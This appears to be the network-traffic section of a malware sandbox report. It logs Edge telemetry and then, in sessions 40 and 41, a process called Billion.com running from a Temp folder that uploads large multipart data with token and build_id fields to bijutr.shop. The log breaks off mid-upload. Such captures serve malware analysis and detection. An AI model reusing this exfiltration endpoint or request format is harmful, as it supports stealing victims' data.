2024-12-24 18:28:37 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Dec 2024 18:28:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	50040	20.189.173.2	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:37 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1735064913988&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3822 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=302665E99E416E3C182470B69FCB6F6B; _EDGE_S=F=1&SID=0DE3EBFAB5BE6BFF1F65FEA5B4FF6AFE; _EDGE_V=1
2024-12-24 18:28:37 UTC	3822	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 32 34 54 31 38 3a 32 38 3a 33 33 2e 39 38 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 65 66 34 38 64 30 61 64 2d 39 65 62 30 2d 34 64 66 33 2d 62 63 36 62 2d 35 63 31 32 33 31 64 39 32 33 62 39 22 2c 22 65 70 6f 63 68 22 3a 22 33 36 30 31 37 35 39 37 30 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-12-24T18:28:33.983Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"ef48d0ad-9eb0-4df3-bc6b-5c1231d923b9","epoch":"3601759707"},"app":{"locale
2024-12-24 18:28:38 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=4c8098aae4df49a5a4e63c09634affb1&HASH=4c80&LV=202412&V=4&LU=1735064918265; Domain=.microsoft.com; Expires=Wed, 24 Dec 2025 18:28:38 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=cd3cf7005c3a42a4bb8df4ab45e9d7a0; Domain=.microsoft.com; Expires=Tue, 24 Dec 2024 18:58:38 GMT; Path=/;Secure; SameSite=None time-delta-millis: 4277 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 24 Dec 2024 18:28:38 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	50047	18.238.49.124	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:37 UTC	1012	OUT	GET /b2?rn=1735064913991&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=302665E99E416E3C182470B69FCB6F6B&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=100b66b45e7bac3f3b14d5f1735064915; XID=100b66b45e7bac3f3b14d5f1735064915
2024-12-24 18:28:37 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Tue, 24 Dec 2024 18:28:37 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 b15f339834cfb5119481b1c1eb890372.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: pRkdKf8AP0VQLsg_e3xqkigs6iIBze5hsL3AWEL6VtsuQ_qKE03SMg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	50050	20.110.205.119	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:37 UTC	1261	OUT	GET /c.gif?rnd=1735064913990&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=25e0b3e5ef394e87be94b037e6030b83&activityId=25e0b3e5ef394e87be94b037e6030b83&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=B84458BB52864B9C8B94F9F4ABBF5707&MUID=302665E99E416E3C182470B69FCB6F6B HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=302665E99E416E3C182470B69FCB6F6B; _EDGE_S=F=1&SID=0DE3EBFAB5BE6BFF1F65FEA5B4FF6AFE; _EDGE_V=1; SM=T
2024-12-24 18:28:38 UTC	982	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Tue, 10 Dec 2024 13:00:24 GMT Accept-Ranges: bytes ETag: "9270eb7934bdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=302665E99E416E3C182470B69FCB6F6B; domain=.msn.com; expires=Sun, 18-Jan-2026 18:28:38 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=302665E99E416E3C182470B69FCB6F6B; domain=c.msn.com; expires=Sun, 18-Jan-2026 18:28:38 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Tue, 31-Dec-2024 18:28:38 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Tue, 24-Dec-2024 18:38:38 GMT; path=/; SameSite=None; Secure; Date: Tue, 24 Dec 2024 18:28:37 GMT Connection: close Content-Length: 42
2024-12-24 18:28:38 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	50051	188.245.216.205	443	1396	C:\Users\user\AppData\Local\Temp\680662\Billion.com

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:37 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----WLFCTJWTJW4EU37QIE37 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 131557 Connection: Keep-Alive Cache-Control: no-cache
2024-12-24 18:28:37 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 4c 46 43 54 4a 57 54 4a 57 34 45 55 33 37 51 49 45 33 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 35 39 36 35 34 63 33 62 63 63 37 33 33 30 65 31 39 35 34 63 61 66 64 33 34 35 34 65 63 34 34 0d 0a 2d 2d 2d 2d 2d 2d 57 4c 46 43 54 4a 57 54 4a 57 34 45 55 33 37 51 49 45 33 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 31 34 30 30 66 31 31 35 31 33 31 65 31 66 61 38 34 65 61 39 38 35 39 39 64 35 33 64 30 62 64 0d 0a 2d 2d 2d 2d 2d 2d 57 4c 46 43 54 4a 57 54 4a 57 34 45 55 33 37 51 49 45 33 37 0d 0a 43 6f 6e 74 Data Ascii: ------WLFCTJWTJW4EU37QIE37Content-Disposition: form-data; name="token"259654c3bcc7330e1954cafd3454ec44------WLFCTJWTJW4EU37QIE37Content-Disposition: form-data; name="build_id"c1400f115131e1fa84ea98599d53d0bd------WLFCTJWTJW4EU37QIE37Cont
2024-12-24 18:28:37 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:37 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:37 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:37 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:37 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:37 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:37 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:37 UTC	717	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:39 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Dec 2024 18:28:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-24 18:28:39 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	50062	188.245.216.205	443	1396	C:\Users\user\AppData\Local\Temp\680662\Billion.com

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:39 UTC	327	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----XLFCJEUKXLNYM7G4E3W4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 6990993 Connection: Keep-Alive Cache-Control: no-cache
2024-12-24 18:28:39 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 58 4c 46 43 4a 45 55 4b 58 4c 4e 59 4d 37 47 34 45 33 57 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 35 39 36 35 34 63 33 62 63 63 37 33 33 30 65 31 39 35 34 63 61 66 64 33 34 35 34 65 63 34 34 0d 0a 2d 2d 2d 2d 2d 2d 58 4c 46 43 4a 45 55 4b 58 4c 4e 59 4d 37 47 34 45 33 57 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 31 34 30 30 66 31 31 35 31 33 31 65 31 66 61 38 34 65 61 39 38 35 39 39 64 35 33 64 30 62 64 0d 0a 2d 2d 2d 2d 2d 2d 58 4c 46 43 4a 45 55 4b 58 4c 4e 59 4d 37 47 34 45 33 57 34 0d 0a 43 6f 6e 74 Data Ascii: ------XLFCJEUKXLNYM7G4E3W4Content-Disposition: form-data; name="token"259654c3bcc7330e1954cafd3454ec44------XLFCJEUKXLNYM7G4E3W4Content-Disposition: form-data; name="build_id"c1400f115131e1fa84ea98599d53d0bd------XLFCJEUKXLNYM7G4E3W4Cont
2024-12-24 18:28:39 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:39 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 